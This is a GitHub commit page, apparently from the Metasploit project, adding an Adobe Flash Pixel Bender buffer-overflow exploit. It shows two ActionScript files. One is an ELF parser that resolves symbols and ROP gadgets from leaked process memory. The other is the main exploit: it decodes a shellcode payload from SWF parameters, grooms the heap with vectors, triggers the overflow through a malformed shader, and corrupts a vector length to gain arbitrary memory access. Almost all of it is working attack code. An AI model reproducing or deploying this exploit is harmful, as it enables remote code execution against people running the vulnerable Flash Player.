-
Notifications
You must be signed in to change notification settings - Fork 13.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #5524, adobe_flash_pixel_bender_bof in flash renderer
- Loading branch information
Showing
17 changed files
with
1,212 additions
and
456 deletions.
There are no files selected for viewing
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,235 @@ | ||
package | ||
{ | ||
public class Elf | ||
{ | ||
private const PT_DYNAMIC:uint = 2 | ||
private const PT_LOAD:uint = 1 | ||
private const PT_READ_EXEC:uint = 5 | ||
private const DT_SYMTAB:uint = 6 | ||
private const DT_STRTAB:uint = 5 | ||
private const DT_PLTGOT:uint = 3 | ||
|
||
private var e_ba:ExploitByteArray | ||
// elf base address | ||
public var base:uint = 0 | ||
// program header address | ||
public var ph:uint = 0 | ||
// number of program headers | ||
public var ph_size:uint = 0 | ||
// program header entry size | ||
public var ph_esize:uint = 0 | ||
// DYNAMIC segment address | ||
public var seg_dynamic:uint = 0 | ||
// DYNAMIC segment size | ||
public var seg_dynamic_size:uint = 0 | ||
// CODE segment address | ||
public var seg_exec:uint = 0 | ||
// CODE segment size | ||
public var seg_exec_size:uint = 0 | ||
// .dynsyn section address | ||
public var sec_dynsym:uint = 0 | ||
// .synstr section address | ||
public var sec_dynstr:uint = 0 | ||
// .got.plt section address | ||
public var sec_got_plt:uint = 0 | ||
|
||
public function Elf(ba:ExploitByteArray, addr:uint) | ||
{ | ||
e_ba = ba | ||
set_base(addr) | ||
set_program_header() | ||
set_program_header_size() | ||
set_program_header_entry_size() | ||
set_dynamic_segment() | ||
set_exec_segment() | ||
set_dynsym() | ||
set_dynstr() | ||
set_got_plt() | ||
} | ||
|
||
public function external_symbol(name:String):uint { | ||
var entry:uint = 0 | ||
var st_name:uint = 0 | ||
var st_value:uint = 0 | ||
var st_size:uint = 0 | ||
var st_info:uint = 0 | ||
var st_other:uint = 0 | ||
var st_shndx:uint = 0 | ||
var st_string:String = "" | ||
var got_plt_index:uint = 0 | ||
|
||
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit | ||
entry = sec_dynsym + 0x10 + (i * 0x10) | ||
st_name = e_ba.read(entry) | ||
st_value = e_ba.read(entry + 4) | ||
st_info = e_ba.read(entry + 0xc, "byte") | ||
st_string = e_ba.read_string(sec_dynstr + st_name) | ||
if (st_string == name) { | ||
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) | ||
} | ||
if (st_info != 0x11) { | ||
got_plt_index++ | ||
} | ||
} | ||
throw new Error() | ||
} | ||
|
||
public function symbol(name:String):uint { | ||
var entry:uint = 0 | ||
var st_name:uint = 0 | ||
var st_value:uint = 0 | ||
var st_size:uint = 0 | ||
var st_info:uint = 0 | ||
var st_other:uint = 0 | ||
var st_shndx:uint = 0 | ||
var st_string:String = "" | ||
|
||
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit | ||
entry = sec_dynsym + 0x10 + (i * 0x10) | ||
st_name = e_ba.read(entry) | ||
st_value = e_ba.read(entry + 4) | ||
st_info = e_ba.read(entry + 0xc, "byte") | ||
st_string = e_ba.read_string(sec_dynstr + st_name) | ||
if (st_string == name) { | ||
return base + st_value | ||
} | ||
} | ||
throw new Error() | ||
} | ||
|
||
|
||
public function gadget(gadget:String, hint:uint):uint | ||
{ | ||
var value:uint = parseInt(gadget, 16) | ||
var contents:uint = 0 | ||
for (var i:uint = 0; i < seg_exec_size - 4; i++) { | ||
contents = e_ba.read(seg_exec + i) | ||
if (hint == 0xffffffff && value == contents) { | ||
return seg_exec + i | ||
} | ||
if (hint != 0xffffffff && value == (contents & hint)) { | ||
return seg_exec + i | ||
} | ||
} | ||
throw new Error() | ||
} | ||
|
||
private function set_base(addr:uint):void | ||
{ | ||
addr &= 0xffff0000 | ||
while (true) { | ||
if (e_ba.read(addr) == 0x464c457f) { | ||
base = addr | ||
return | ||
} | ||
addr -= 0x1000 | ||
} | ||
|
||
throw new Error() | ||
} | ||
|
||
private function set_program_header():void | ||
{ | ||
ph = base + e_ba.read(base + 0x1c) | ||
} | ||
|
||
private function set_program_header_size():void | ||
{ | ||
ph_size = e_ba.read(base + 0x2c, "word") | ||
} | ||
|
||
private function set_program_header_entry_size():void | ||
{ | ||
ph_esize = e_ba.read(base + 0x2a, "word") | ||
} | ||
|
||
private function set_dynamic_segment():void | ||
{ | ||
var entry:uint = 0 | ||
var p_type:uint = 0 | ||
|
||
for (var i:uint = 0; i < ph_size; i++) { | ||
entry = ph + (i * ph_esize) | ||
p_type = e_ba.read(entry) | ||
if (p_type == PT_DYNAMIC) { | ||
seg_dynamic = base + e_ba.read(entry + 8) | ||
seg_dynamic_size = e_ba.read(entry + 0x14) | ||
return | ||
} | ||
} | ||
|
||
throw new Error() | ||
} | ||
|
||
private function set_exec_segment():void | ||
{ | ||
var entry:uint = 0 | ||
var p_type:uint = 0 | ||
var p_flags:uint = 0 | ||
|
||
for (var i:uint = 0; i < ph_size; i++) { | ||
entry = ph + (i * ph_esize) | ||
p_type = e_ba.read(entry) | ||
p_flags = e_ba.read(entry + 0x18) | ||
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { | ||
seg_exec = base + e_ba.read(entry + 8) | ||
seg_exec_size = e_ba.read(entry + 0x14) | ||
return | ||
} | ||
} | ||
|
||
throw new Error() | ||
} | ||
|
||
private function set_dynsym():void | ||
{ | ||
var entry:uint = 0 | ||
var s_type:uint = 0 | ||
|
||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { | ||
entry = seg_dynamic + i | ||
s_type = e_ba.read(entry) | ||
if (s_type == DT_SYMTAB) { | ||
sec_dynsym = e_ba.read(entry + 4) | ||
return | ||
} | ||
} | ||
|
||
throw new Error() | ||
} | ||
|
||
private function set_dynstr():void | ||
{ | ||
var entry:uint = 0 | ||
var s_type:uint = 0 | ||
|
||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { | ||
entry = seg_dynamic + i | ||
s_type = e_ba.read(entry) | ||
if (s_type == DT_STRTAB) { | ||
sec_dynstr = e_ba.read(entry + 4) | ||
return | ||
} | ||
} | ||
|
||
throw new Error() | ||
} | ||
|
||
private function set_got_plt():void | ||
{ | ||
var entry:uint = 0 | ||
var s_type:uint = 0 | ||
|
||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { | ||
entry = seg_dynamic + i | ||
s_type = e_ba.read(entry) | ||
if (s_type == DT_PLTGOT) { | ||
sec_got_plt = e_ba.read(entry + 4) | ||
return | ||
} | ||
} | ||
|
||
throw new Error() | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,131 @@ | ||
//compile with AIR SDK 13.0: mxmlc Exploit.as -o msf.swf | ||
// It uses original code from @hdarwin89 for exploitation using ba's and vectors | ||
|
||
package { | ||
import flash.display.Sprite | ||
import flash.utils.ByteArray | ||
import flash.display.Shader | ||
import flash.system.Capabilities | ||
import flash.utils.Endian | ||
import __AS3__.vec.Vector | ||
import __AS3__.vec.* | ||
import flash.display.LoaderInfo | ||
import mx.utils.Base64Decoder | ||
|
||
public class Exploit extends Sprite { | ||
|
||
protected var Shad:Class | ||
private var uv:Vector.<uint> | ||
private var b64:Base64Decoder = new Base64Decoder() | ||
private var payload:ByteArray | ||
private var platform:String | ||
private var os:String | ||
private var exploiter:Exploiter | ||
|
||
public function Exploit(){ | ||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl | ||
os = LoaderInfo(this.root.loaderInfo).parameters.os | ||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh | ||
var pattern:RegExp = / /g; | ||
b64_payload = b64_payload.replace(pattern, "+") | ||
b64.decode(b64_payload) | ||
payload = b64.toByteArray() | ||
|
||
var shader:Shader | ||
if (platform == "linux") { | ||
this.Shad = GraphShadLinux | ||
} else { | ||
this.Shad = GraphShadWindows | ||
} | ||
|
||
super() | ||
var i:* = 0 | ||
var j:* = 0 | ||
var offset:int = -1 | ||
var corrupted_vector_idx:int = -1 | ||
|
||
// Memory massage | ||
var array_length:uint = 0x10000 | ||
var vector_size:uint = 34 | ||
var array:Array = new Array() | ||
|
||
i = 0 | ||
while (i < array_length) | ||
{ | ||
array[i] = new Vector.<uint>(vector_size) | ||
i++; | ||
} | ||
|
||
i = 0 | ||
while (i < array_length) | ||
{ | ||
array[i].length = 0 | ||
i++ | ||
} | ||
|
||
i = 0x0200 | ||
while (i < array_length) | ||
{ | ||
array[(i - (2 * (j % 2)))].length = 0x0100 | ||
array[(i - (2 * (j % 2)))][0] = 0xdeedbeef | ||
array[(i - (2 * (j % 2)))][2] = (i - (2 * (j % 2))) | ||
i = (i + 28) | ||
j++ | ||
} | ||
|
||
// Overflow and Search for corrupted vector | ||
var shadba:ByteArray = (new this.Shad() as ByteArray) | ||
shadba.position = 0 | ||
|
||
shader = new Shader() | ||
try | ||
{ | ||
shader.byteCode = (new this.Shad() as ByteArray); | ||
} catch(e) { } | ||
|
||
i = 0 | ||
while (i < array_length) | ||
{ | ||
if (array[i].length > 0x0100) | ||
{ | ||
corrupted_vector_idx = i | ||
break | ||
} | ||
i++ | ||
} | ||
|
||
if (corrupted_vector_idx == -1) { | ||
return | ||
} | ||
|
||
for(i = 0; i < array[corrupted_vector_idx].length; i++) { | ||
if (array[corrupted_vector_idx][i] == 0x0100 && array[corrupted_vector_idx][i + 2] == 0xdeedbeef) { | ||
array[corrupted_vector_idx][i] = 0xffffffff | ||
offset = i | ||
break | ||
} | ||
} | ||
|
||
if (offset == -1) { | ||
return | ||
} | ||
|
||
|
||
for(i = 0; i < array.length; i++) { | ||
if (array[i].length == 0xffffffff) { | ||
uv = array[i] | ||
uv[0x3ffffffc - offset] = 34 | ||
} | ||
} | ||
|
||
for(i = 0; i < array.length; i++) { | ||
if (array[i].length != 0xffffffff) { | ||
delete(array[i]) | ||
array[i] = null | ||
} | ||
} | ||
|
||
exploiter = new Exploiter(this, platform, os, payload, uv) | ||
} | ||
} | ||
} |
Oops, something went wrong.